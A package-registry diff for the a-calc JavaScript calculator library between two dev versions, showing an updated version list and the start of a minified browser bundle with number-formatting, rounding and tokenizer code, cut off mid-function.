a-calc 1.5.0-dev.2024042401 → 1.5.0-dev.2024042402
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/a-calc.versions.js +1 -1
- package/browser/index.js +1 -1
- package/cjs/index.js +1 -1
- package/es/index.js +1 -1
- package/package.json +1 -1
package/a-calc.versions.js
CHANGED
|
@@ -36,7 +36,7 @@ try{
|
|
|
36
36
|
'1.5.0-dev.2024042302', '1.5.0-dev.2024042303', '1.5.0-dev.2024042304',
|
|
37
37
|
'1.5.0-dev.2024042305', '1.5.0-dev.2024042306', '1.5.0-dev.2024042307',
|
|
38
38
|
'1.5.0-dev.2024042308', '1.5.0-dev.2024042309', '1.5.0-dev.2024042310',
|
|
39
|
-
'1.5.0-dev.2024042311', '1.5.0-dev.2024042312',
|
|
39
|
+
'1.5.0-dev.2024042311', '1.5.0-dev.2024042312', '1.5.0-dev.2024042401', '1.5.0-dev.2024042402'
|
|
40
40
|
]; a_calc_versions;
|
|
41
41
|
}
|
|
42
42
|
finally
|
package/browser/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
var a_calc=function(exports){"use strict";function _iterableToArrayLimit(e,t){var r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=r){var n,o,a,i,s=[],c=!0,l=!1;try{if(a=(r=r.call(e)).next,0===t){if(Object(r)!==r)return;c=!1}else for(;!(c=(n=a.call(r)).done)&&(s.push(n.value),s.length!==t);c=!0);}catch(e){l=!0,o=e}finally{try{if(!c&&null!=r.return&&(i=r.return(),Object(i)!==i))return}finally{if(l)throw o}}return s}}function ownKeys(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function _objectSpread2(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(r),!0).forEach((function(t){_defineProperty(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ownKeys(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function _regeneratorRuntime(){_regeneratorRuntime=function(){return e};var e={},t=Object.prototype,r=t.hasOwnProperty,n=Object.defineProperty||function(e,t,r){e[t]=r.value},o="function"==typeof Symbol?Symbol:{},a=o.iterator||"@@iterator",i=o.asyncIterator||"@@asyncIterator",s=o.toStringTag||"@@toStringTag";function c(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{c({},"")}catch(e){c=function(e,t,r){return e[t]=r}}function l(e,t,r,o){var a=t&&t.prototype instanceof h?t:h,i=Object.create(a.prototype),s=new O(o||[]);return n(i,"_invoke",{value:w(e,r,s)}),i}function u(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}e.wrap=l;var f={};function h(){}function p(){}function _(){}var g={};c(g,a,(function(){return this}));var m=Object.getPrototypeOf,d=m&&m(m(C([])));d&&d!==t&&r.call(d,a)&&(g=d);var v=_.prototype=h.prototype=Object.create(g);function b(e){["next","throw","return"].forEach((function(t){c(e,t,(function(e){return this._invoke(t,e)}))}))}function y(e,t){function o(n,a,i,s){var c=u(e[n],e,a);if("throw"!==c.type){var l=c.arg,f=l.value;return f&&"object"==typeof f&&r.call(f,"__await")?t.resolve(f.__await).then((function(e){o("next",e,i,s)}),(function(e){o("throw",e,i,s)})):t.resolve(f).then((function(e){l.value=e,i(l)}),(function(e){return o("throw",e,i,s)}))}s(c.arg)}var a;n(this,"_invoke",{value:function(e,r){function n(){return new t((function(t,n){o(e,r,t,n)}))}return a=a?a.then(n,n):n()}})}function w(e,t,r){var n="suspendedStart";return function(o,a){if("executing"===n)throw new Error("Generator is already running");if("completed"===n){if("throw"===o)throw a;return x()}for(r.method=o,r.arg=a;;){var i=r.delegate;if(i){var s=S(i,r);if(s){if(s===f)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===n)throw n="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);n="executing";var c=u(e,t,r);if("normal"===c.type){if(n=r.done?"completed":"suspendedYield",c.arg===f)continue;return{value:c.arg,done:r.done}}"throw"===c.type&&(n="completed",r.method="throw",r.arg=c.arg)}}}function S(e,t){var r=t.method,n=e.iterator[r];if(void 0===n)return t.delegate=null,"throw"===r&&e.iterator.return&&(t.method="return",t.arg=void 0,S(e,t),"throw"===t.method)||"return"!==r&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+r+"' method")),f;var o=u(n,e.iterator,t.arg);if("throw"===o.type)return t.method="throw",t.arg=o.arg,t.delegate=null,f;var a=o.arg;return a?a.done?(t[e.resultName]=a.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=void 0),t.delegate=null,f):a:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,f)}function E(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function $(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function O(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(E,this),this.reset(!0)}function C(e){if(e){var t=e[a];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var n=-1,o=function t(){for(;++n<e.length;)if(r.call(e,n))return t.value=e[n],t.done=!1,t;return t.value=void 0,t.done=!0,t};return o.next=o}}return{next:x}}function x(){return{value:void 0,done:!0}}return p.prototype=_,n(v,"constructor",{value:_,configurable:!0}),n(_,"constructor",{value:p,configurable:!0}),p.displayName=c(_,s,"GeneratorFunction"),e.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===p||"GeneratorFunction"===(t.displayName||t.name))},e.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,_):(e.__proto__=_,c(e,s,"GeneratorFunction")),e.prototype=Object.create(v),e},e.awrap=function(e){return{__await:e}},b(y.prototype),c(y.prototype,i,(function(){return this})),e.AsyncIterator=y,e.async=function(t,r,n,o,a){void 0===a&&(a=Promise);var i=new y(l(t,r,n,o),a);return e.isGeneratorFunction(r)?i:i.next().then((function(e){return e.done?e.value:i.next()}))},b(v),c(v,s,"Generator"),c(v,a,(function(){return this})),c(v,"toString",(function(){return"[object Generator]"})),e.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value=n,e.done=!1,e}return e.done=!0,e}},e.values=C,O.prototype={constructor:O,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach($),!e)for(var t in this)"t"===t.charAt(0)&&r.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=void 0)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var t=this;function n(r,n){return i.type="throw",i.arg=e,t.next=r,n&&(t.method="next",t.arg=void 0),!!n}for(var o=this.tryEntries.length-1;o>=0;--o){var a=this.tryEntries[o],i=a.completion;if("root"===a.tryLoc)return n("end");if(a.tryLoc<=this.prev){var s=r.call(a,"catchLoc"),c=r.call(a,"finallyLoc");if(s&&c){if(this.prev<a.catchLoc)return n(a.catchLoc,!0);if(this.prev<a.finallyLoc)return n(a.finallyLoc)}else if(s){if(this.prev<a.catchLoc)return n(a.catchLoc,!0)}else{if(!c)throw new Error("try statement without catch or finally");if(this.prev<a.finallyLoc)return n(a.finallyLoc)}}}},abrupt:function(e,t){for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n];if(o.tryLoc<=this.prev&&r.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var a=o;break}}a&&("break"===e||"continue"===e)&&a.tryLoc<=t&&t<=a.finallyLoc&&(a=null);var i=a?a.completion:{};return i.type=e,i.arg=t,a?(this.method="next",this.next=a.finallyLoc,f):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),f},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),$(r),f}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var n=r.completion;if("throw"===n.type){var o=n.arg;$(r)}return o}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,r){return this.delegate={iterator:C(e),resultName:t,nextLoc:r},"next"===this.method&&(this.arg=void 0),f}},e}function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}function asyncGeneratorStep(e,t,r,n,o,a,i){try{var s=e[a](i),c=s.value}catch(e){return void r(e)}s.done?t(c):Promise.resolve(c).then(n,o)}function _asyncToGenerator(e){return function(){var t=this,r=arguments;return new Promise((function(n,o){var a=e.apply(t,r);function i(e){asyncGeneratorStep(a,n,o,i,s,"next",e)}function s(e){asyncGeneratorStep(a,n,o,i,s,"throw",e)}i(void 0)}))}}function _defineProperty(e,t,r){return(t=_toPropertyKey(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function _slicedToArray(e,t){return _arrayWithHoles(e)||_iterableToArrayLimit(e,t)||_unsupportedIterableToArray(e,t)||_nonIterableRest()}function _toConsumableArray(e){return _arrayWithoutHoles(e)||_iterableToArray(e)||_unsupportedIterableToArray(e)||_nonIterableSpread()}function _arrayWithoutHoles(e){if(Array.isArray(e))return _arrayLikeToArray(e)}function _arrayWithHoles(e){if(Array.isArray(e))return e}function _iterableToArray(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}function _unsupportedIterableToArray(e,t){if(e){if("string"==typeof e)return _arrayLikeToArray(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?_arrayLikeToArray(e,t):void 0}}function _arrayLikeToArray(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _toPrimitive(e,t){if("object"!=typeof e||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var n=r.call(e,t||"default");if("object"!=typeof n)return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}function _toPropertyKey(e){var t=_toPrimitive(e,"string");return"symbol"==typeof t?t:String(t)}var version="1.5.0-dev.2024042401",RegexNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*$/,RegexUnitNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*\D*$/;function decimal_round(e,t,r,n,o){var a=e,i=t,s=t.length,c={"~-":function(){var e="<"===r?n-1:n;i=t.slice(0,e)},"~+":function(){var e="<"===r?n-1:n;if(!(s<=e||0===s)){var o=t.slice(0,e);0==+t.slice(e,s)?i=o:(o=(+"9".concat(o)+1).toString().slice(1)).length>e?(i=o.slice(1,o.length),a=(+a+1).toString()):i=o}},"~5":function(){if(0!==s){var e="<"===r?n-1:n;i=t.slice(0,e);var o=+t[e];Number.isNaN(o)||o>=5&&(i=(+"9".concat(i)+1).toString().slice(1)).length>e&&(i=i.slice(1,i.length),a=(+a+1).toString())}},"~6":function(){if(0!==s){var o,c="<"===r?n-1:n,l=+t[c],u=t.slice(+c+1,t.length);u=""===u?0:parseInt(u),o=0===c?+e[e.length-1]:+t[c-1],i=t.slice(0,c),(l>=6||5===l&&u>0||5===l&&o%2!=0)&&(i=(+"9".concat(i)+1).toString().slice(1)).length>c&&(i=i.slice(1,i.length),a=(+a+1).toString())}}};return"<="===r?s<=n?i=t:(c[o]&&c[o](),i=i.replace(/0+$/,"")):"<"===r?s<n?i=t:(c[o]&&c[o](),i=i.replace(/0+$/,"")):"="===r?s<n?i=t+"0".repeat(n-s):s>n&&c[o]&&c[o]():">="===r?s<n&&(i=t+"0".repeat(n-s)):">"===r&&s<=n&&(i=t+"0".repeat(n-s+1)),{int_part:a,dec_part:i}}function is_operator(e){return"+-*/%()**".indexOf(e)>-1}function get_prioraty(e){switch(e){case"+":case"-":return 1;case"*":case"/":case"%":return 2;case"**":return 3;default:return 0}}function prioraty(e,t){return get_prioraty(e)<=get_prioraty(t)}function not_undefined(e){return void 0!==e}function is_null(e){return null===e}function not_null(e){return null!==e}function is_number(e){return"number"==typeof e||is_str_number(e)}function is_str_number(e){return"string"==typeof e&&!!RegexNumber.test(e)}function split_unit_num(e){for(var t,r=null,n=null,o=[/^([+-]?[\d.]+(?:e|E)(?:\+|-)?\d+)(.*)$/,/^([+-]?[\d.]+)(.*)$/],a=0;a<o.length;a++){var i=e.match(o[a]);if(i){t=i;break}}if(t){n=t[1];var s=t[2];""!==s.trim()&&(r=s)}return{num:n,unit:r}}function parse_mantissa(e,t,r,n){var o=e.split("."),a=o[0],i=1===o.length?"":o[1],s=decimal_round(a,i,t,+r,n);return a=s.int_part,""===(i=s.dec_part)?a:"".concat(a,".").concat(i)}function parse_thousands(e){var t=e.split(".");if(t.length>1){var r=t[0];r.includes("-")?t[0]=r[0]+r.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):t[0]=r.replace(/(?=(?!^)(?:\d{3})+$)/g,","),e=t.join(".")}else{var n=t[0];e=n.includes("-")?n[0]+n.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):n.replace(/(?=(?!^)(?:\d{3})+$)/g,",")}return e}function promise_queue(e){return _promise_queue.apply(this,arguments)}function _promise_queue(){return _promise_queue=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r,n,o,a=arguments;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=a.length>1&&void 0!==a[1]?a[1]:5e3,n=0;case 2:if(!(n<t.length)){e.next=16;break}return e.prev=3,e.next=6,Promise.race([t[n],new Promise((function(e,t){setTimeout((function(){return t(new Error("promise queue timeout err"))}),r)}))]);case 6:o=e.sent,e.next=12;break;case 9:return e.prev=9,e.t0=e.catch(3),e.abrupt("continue",13);case 12:return e.abrupt("return",o);case 13:n++,e.next=2;break;case 16:return e.abrupt("return",Promise.reject("错误的 promise queue 调用"));case 17:case"end":return e.stop()}}),e,null,[[3,9]])}))),_promise_queue.apply(this,arguments)}function test_urls(e){return _test_urls.apply(this,arguments)}function _test_urls(){return(_test_urls=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=0;case 1:if(!(r<t.length)){e.next=16;break}return e.prev=2,e.next=5,fetch(t[r]);case 5:if(!e.sent.ok){e.next=8;break}return e.abrupt("return",t[r]);case 8:e.next=13;break;case 10:return e.prev=10,e.t0=e.catch(2),e.abrupt("continue",13);case 13:r++,e.next=1;break;case 16:return e.abrupt("return",null);case 17:case"end":return e.stop()}}),e,null,[[2,10]])})))).apply(this,arguments)}function idle(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return"undefined"!=typeof requestIdleCallback?requestIdleCallback(e):setTimeout(e,t)}var cache_eval={},cache_tokens={},cache_fmt_tokens={},cache_calc={},state$1={initial:"initial",number:"number",variable:"var",symbol:"symbol",percent:"percent",round:"round",plus:"plus",comma:"comma",fraction:"fraction",to_number:"to-number",to_number_string:"to-number-string",scientific:"scientific"},symbol="<>=";function fmt_tokenizer(e){var t=e;if(t in cache_fmt_tokens)return cache_fmt_tokens[t].last_time=(new Date).getTime(),cache_fmt_tokens[t].count++,cache_fmt_tokens[t].value;for(var r=state$1.initial,n=[],o=[];e;){var a=e[0];if(r===state$1.initial)if(/\s/.test(a))e=e.slice(1);else if(symbol.includes(a))r=state$1.symbol,n.push(a),e=e.slice(1);else if(","===a)r=state$1.initial,o.push({type:"comma",value:a}),e=e.slice(1);else if(/[a-zA-Z_]/.test(a))r=state$1.variable,n.push(a),e=e.slice(1);else if(/\d/.test(a))r=state$1.number,n.push(a),e=e.slice(1);else if("+"===a)r=state$1.initial,o.push({type:"plus",value:a}),e=e.slice(1);else if("~"===a)r=state$1.round,n.push(a),e=e.slice(1);else if("%"===a)r=state$1.initial,o.push({type:"percent",value:a}),e=e.slice(1);else if("/"===a)r=state$1.initial,o.push({type:"fraction",value:a}),e=e.slice(1);else{if("!"!==a)throw new Error("不识别的fmt字符:".concat(a));if(r=state$1.initial,/[Ee]/.test(e[1]))o.push({type:"scientific",value:e[1]}),e=e.slice(2);else if(/[Nn]/.test(e[1]))o.push({type:"to-number",value:e[1]}),e=e.slice(2);else{if(!/[Uu]/.test(e[1]))throw new Error("不识别的fmt字符:".concat(e.slice(2)));o.push({type:"to-number-string",value:e[1]}),e=e.slice(2)}}else if(r===state$1.number)/\d/.test(a)?(n.push(a),e=e.slice(1)):(o.push({type:"number",value:n.join("")}),n.length=0,r=state$1.initial);else if(r===state$1.variable)/[\$\w_\-.\[\]"']/.test(a)?(n.push(a),e=e.slice(1)):(o.push({type:"var",value:n.join("")}),n.length=0,r=state$1.initial);else if(r===state$1.symbol){if(/\s/.test(a)){e=e.slice(1);continue}symbol.includes(a)?(n.push(a),e=e.slice(1)):(o.push({type:"symbol",value:n.join("")}),n.length=0,r=state$1.initial)}else{if(r!==state$1.round)throw new Error("错误的自动机状态");if(/\s/.test(a)){e=e.slice(1);continue}if(!("56+-".includes(a)&&n.length<2))throw new Error("舍入格式化语法错误:".concat(a));n.push(a),e=e.slice(1),o.push({type:"round",value:n.join("")}),n.length=0,r=state$1.initial}}if(n.length>0&&(o.push({type:r,value:n.join("")}),n.length=0,r=state$1.initial),o.filter((function(e){return"number"===e.type})).length>1)throw new Error("格式化字符串错误,发现多余的数字");return cache_fmt_tokens[t]={last_time:(new Date).getTime(),count:0,value:o},o}var commonjsGlobal="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function getDefaultExportFromCjs(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var isArray$3=Array.isArray,isArray_1=isArray$3,freeGlobal$1="object"==_typeof(commonjsGlobal)&&commonjsGlobal&&commonjsGlobal.Object===Object&&commonjsGlobal,_freeGlobal=freeGlobal$1,freeGlobal=_freeGlobal,freeSelf="object"==("undefined"==typeof self?"undefined":_typeof(self))&&self&&self.Object===Object&&self,root$3=freeGlobal||freeSelf||Function("return this")(),_root=root$3,root$2=_root,_Symbol2=root$2.Symbol,_Symbol$3=_Symbol2,_Symbol$2=_Symbol$3,objectProto$4=Object.prototype,hasOwnProperty$3=objectProto$4.hasOwnProperty,nativeObjectToString$1=objectProto$4.toString,symToStringTag$1=_Symbol$2?_Symbol$2.toStringTag:void 0;function getRawTag$1(e){var t=hasOwnProperty$3.call(e,symToStringTag$1),r=e[symToStringTag$1];try{e[symToStringTag$1]=void 0;var n=!0}catch(e){}var o=nativeObjectToString$1.call(e);return n&&(t?e[symToStringTag$1]=r:delete e[symToStringTag$1]),o}var _getRawTag=getRawTag$1,objectProto$3=Object.prototype,nativeObjectToString=objectProto$3.toString;function objectToString$1(e){return nativeObjectToString.call(e)}var _objectToString=objectToString$1,_Symbol$1=_Symbol$3,getRawTag=_getRawTag,objectToString=_objectToString,nullTag="[object Null]",undefinedTag="[object Undefined]",symToStringTag=_Symbol$1?_Symbol$1.toStringTag:void 0;function baseGetTag$2(e){return null==e?void 0===e?undefinedTag:nullTag:symToStringTag&&symToStringTag in Object(e)?getRawTag(e):objectToString(e)}var _baseGetTag=baseGetTag$2;function isObjectLike$1(e){return null!=e&&"object"==_typeof(e)}var isObjectLike_1=isObjectLike$1,baseGetTag$1=_baseGetTag,isObjectLike=isObjectLike_1,symbolTag="[object Symbol]";function isSymbol$3(e){return"symbol"==_typeof(e)||isObjectLike(e)&&baseGetTag$1(e)==symbolTag}var isSymbol_1=isSymbol$3,isArray$2=isArray_1,isSymbol$2=isSymbol_1,reIsDeepProp=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,reIsPlainProp=/^\w*$/;function isKey$1(e,t){if(isArray$2(e))return!1;var r=_typeof(e);return!("number"!=r&&"symbol"!=r&&"boolean"!=r&&null!=e&&!isSymbol$2(e))||(reIsPlainProp.test(e)||!reIsDeepProp.test(e)||null!=t&&e in Object(t))}var _isKey=isKey$1;function isObject$2(e){var t=_typeof(e);return null!=e&&("object"==t||"function"==t)}var isObject_1=isObject$2,baseGetTag=_baseGetTag,isObject$1=isObject_1,asyncTag="[object AsyncFunction]",funcTag="[object Function]",genTag="[object GeneratorFunction]",proxyTag="[object Proxy]";function isFunction$1(e){if(!isObject$1(e))return!1;var t=baseGetTag(e);return t==funcTag||t==genTag||t==asyncTag||t==proxyTag}var isFunction_1=isFunction$1,root$1=_root,coreJsData$1=root$1["__core-js_shared__"],_coreJsData=coreJsData$1,coreJsData=_coreJsData,maskSrcKey=(uid=/[^.]+$/.exec(coreJsData&&coreJsData.keys&&coreJsData.keys.IE_PROTO||""),uid?"Symbol(src)_1."+uid:""),uid;function isMasked$1(e){return!!maskSrcKey&&maskSrcKey in e}var _isMasked=isMasked$1,funcProto$1=Function.prototype,funcToString$1=funcProto$1.toString;function toSource$1(e){if(null!=e){try{return funcToString$1.call(e)}catch(e){}try{return e+""}catch(e){}}return""}var _toSource=toSource$1,isFunction=isFunction_1,isMasked=_isMasked,isObject=isObject_1,toSource=_toSource,reRegExpChar=/[\\^$.*+?()[\]{}|]/g,reIsHostCtor=/^\[object .+?Constructor\]$/,funcProto=Function.prototype,objectProto$2=Object.prototype,funcToString=funcProto.toString,hasOwnProperty$2=objectProto$2.hasOwnProperty,reIsNative=RegExp("^"+funcToString.call(hasOwnProperty$2).replace(reRegExpChar,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function baseIsNative$1(e){return!(!isObject(e)||isMasked(e))&&(isFunction(e)?reIsNative:reIsHostCtor).test(toSource(e))}var _baseIsNative=baseIsNative$1;function getValue$1(e,t){return null==e?void 0:e[t]}var _getValue=getValue$1,baseIsNative=_baseIsNative,getValue=_getValue;function getNative$2(e,t){var r=getValue(e,t);return baseIsNative(r)?r:void 0}var _getNative=getNative$2,getNative$1=_getNative,nativeCreate$4=getNative$1(Object,"create"),_nativeCreate=nativeCreate$4,nativeCreate$3=_nativeCreate;function hashClear$1(){this.__data__=nativeCreate$3?nativeCreate$3(null):{},this.size=0}var _hashClear=hashClear$1;function hashDelete$1(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t}var _hashDelete=hashDelete$1,nativeCreate$2=_nativeCreate,HASH_UNDEFINED$1="__lodash_hash_undefined__",objectProto$1=Object.prototype,hasOwnProperty$1=objectProto$1.hasOwnProperty;function hashGet$1(e){var t=this.__data__;if(nativeCreate$2){var r=t[e];return r===HASH_UNDEFINED$1?void 0:r}return hasOwnProperty$1.call(t,e)?t[e]:void 0}var _hashGet=hashGet$1,nativeCreate$1=_nativeCreate,objectProto=Object.prototype,hasOwnProperty=objectProto.hasOwnProperty;function hashHas$1(e){var t=this.__data__;return nativeCreate$1?void 0!==t[e]:hasOwnProperty.call(t,e)}var _hashHas=hashHas$1,nativeCreate=_nativeCreate,HASH_UNDEFINED="__lodash_hash_undefined__";function hashSet$1(e,t){var r=this.__data__;return this.size+=this.has(e)?0:1,r[e]=nativeCreate&&void 0===t?HASH_UNDEFINED:t,this}var _hashSet=hashSet$1,hashClear=_hashClear,hashDelete=_hashDelete,hashGet=_hashGet,hashHas=_hashHas,hashSet=_hashSet;function Hash$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}Hash$1.prototype.clear=hashClear,Hash$1.prototype.delete=hashDelete,Hash$1.prototype.get=hashGet,Hash$1.prototype.has=hashHas,Hash$1.prototype.set=hashSet;var _Hash=Hash$1;function listCacheClear$1(){this.__data__=[],this.size=0}var _listCacheClear=listCacheClear$1;function eq$1(e,t){return e===t||e!=e&&t!=t}var eq_1=eq$1,eq=eq_1;function assocIndexOf$4(e,t){for(var r=e.length;r--;)if(eq(e[r][0],t))return r;return-1}var _assocIndexOf=assocIndexOf$4,assocIndexOf$3=_assocIndexOf,arrayProto=Array.prototype,splice=arrayProto.splice;function listCacheDelete$1(e){var t=this.__data__,r=assocIndexOf$3(t,e);return!(r<0)&&(r==t.length-1?t.pop():splice.call(t,r,1),--this.size,!0)}var _listCacheDelete=listCacheDelete$1,assocIndexOf$2=_assocIndexOf;function listCacheGet$1(e){var t=this.__data__,r=assocIndexOf$2(t,e);return r<0?void 0:t[r][1]}var _listCacheGet=listCacheGet$1,assocIndexOf$1=_assocIndexOf;function listCacheHas$1(e){return assocIndexOf$1(this.__data__,e)>-1}var _listCacheHas=listCacheHas$1,assocIndexOf=_assocIndexOf;function listCacheSet$1(e,t){var r=this.__data__,n=assocIndexOf(r,e);return n<0?(++this.size,r.push([e,t])):r[n][1]=t,this}var _listCacheSet=listCacheSet$1,listCacheClear=_listCacheClear,listCacheDelete=_listCacheDelete,listCacheGet=_listCacheGet,listCacheHas=_listCacheHas,listCacheSet=_listCacheSet;function ListCache$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}ListCache$1.prototype.clear=listCacheClear,ListCache$1.prototype.delete=listCacheDelete,ListCache$1.prototype.get=listCacheGet,ListCache$1.prototype.has=listCacheHas,ListCache$1.prototype.set=listCacheSet;var _ListCache=ListCache$1,getNative=_getNative,root=_root,Map$1=getNative(root,"Map"),_Map=Map$1,Hash=_Hash,ListCache=_ListCache,Map=_Map;function mapCacheClear$1(){this.size=0,this.__data__={hash:new Hash,map:new(Map||ListCache),string:new Hash}}var _mapCacheClear=mapCacheClear$1;function isKeyable$1(e){var t=_typeof(e);return"string"==t||"number"==t||"symbol"==t||"boolean"==t?"__proto__"!==e:null===e}var _isKeyable=isKeyable$1,isKeyable=_isKeyable;function getMapData$4(e,t){var r=e.__data__;return isKeyable(t)?r["string"==typeof t?"string":"hash"]:r.map}var _getMapData=getMapData$4,getMapData$3=_getMapData;function mapCacheDelete$1(e){var t=getMapData$3(this,e).delete(e);return this.size-=t?1:0,t}var _mapCacheDelete=mapCacheDelete$1,getMapData$2=_getMapData;function mapCacheGet$1(e){return getMapData$2(this,e).get(e)}var _mapCacheGet=mapCacheGet$1,getMapData$1=_getMapData;function mapCacheHas$1(e){return getMapData$1(this,e).has(e)}var _mapCacheHas=mapCacheHas$1,getMapData=_getMapData;function mapCacheSet$1(e,t){var r=getMapData(this,e),n=r.size;return r.set(e,t),this.size+=r.size==n?0:1,this}var _mapCacheSet=mapCacheSet$1,mapCacheClear=_mapCacheClear,mapCacheDelete=_mapCacheDelete,mapCacheGet=_mapCacheGet,mapCacheHas=_mapCacheHas,mapCacheSet=_mapCacheSet;function MapCache$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}MapCache$1.prototype.clear=mapCacheClear,MapCache$1.prototype.delete=mapCacheDelete,MapCache$1.prototype.get=mapCacheGet,MapCache$1.prototype.has=mapCacheHas,MapCache$1.prototype.set=mapCacheSet;var _MapCache=MapCache$1,MapCache=_MapCache,FUNC_ERROR_TEXT="Expected a function";function memoize$1(e,t){if("function"!=typeof e||null!=t&&"function"!=typeof t)throw new TypeError(FUNC_ERROR_TEXT);var r=function r(){var n=arguments,o=t?t.apply(this,n):n[0],a=r.cache;if(a.has(o))return a.get(o);var i=e.apply(this,n);return r.cache=a.set(o,i)||a,i};return r.cache=new(memoize$1.Cache||MapCache),r}memoize$1.Cache=MapCache;var memoize_1=memoize$1,memoize=memoize_1,MAX_MEMOIZE_SIZE=500;function memoizeCapped$1(e){var t=memoize(e,(function(e){return r.size===MAX_MEMOIZE_SIZE&&r.clear(),e})),r=t.cache;return t}var _memoizeCapped=memoizeCapped$1,memoizeCapped=_memoizeCapped,rePropName=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,reEscapeChar=/\\(\\)?/g,stringToPath$1=memoizeCapped((function(e){var t=[];return 46===e.charCodeAt(0)&&t.push(""),e.replace(rePropName,(function(e,r,n,o){t.push(n?o.replace(reEscapeChar,"$1"):r||e)})),t})),_stringToPath=stringToPath$1;function arrayMap$1(e,t){for(var 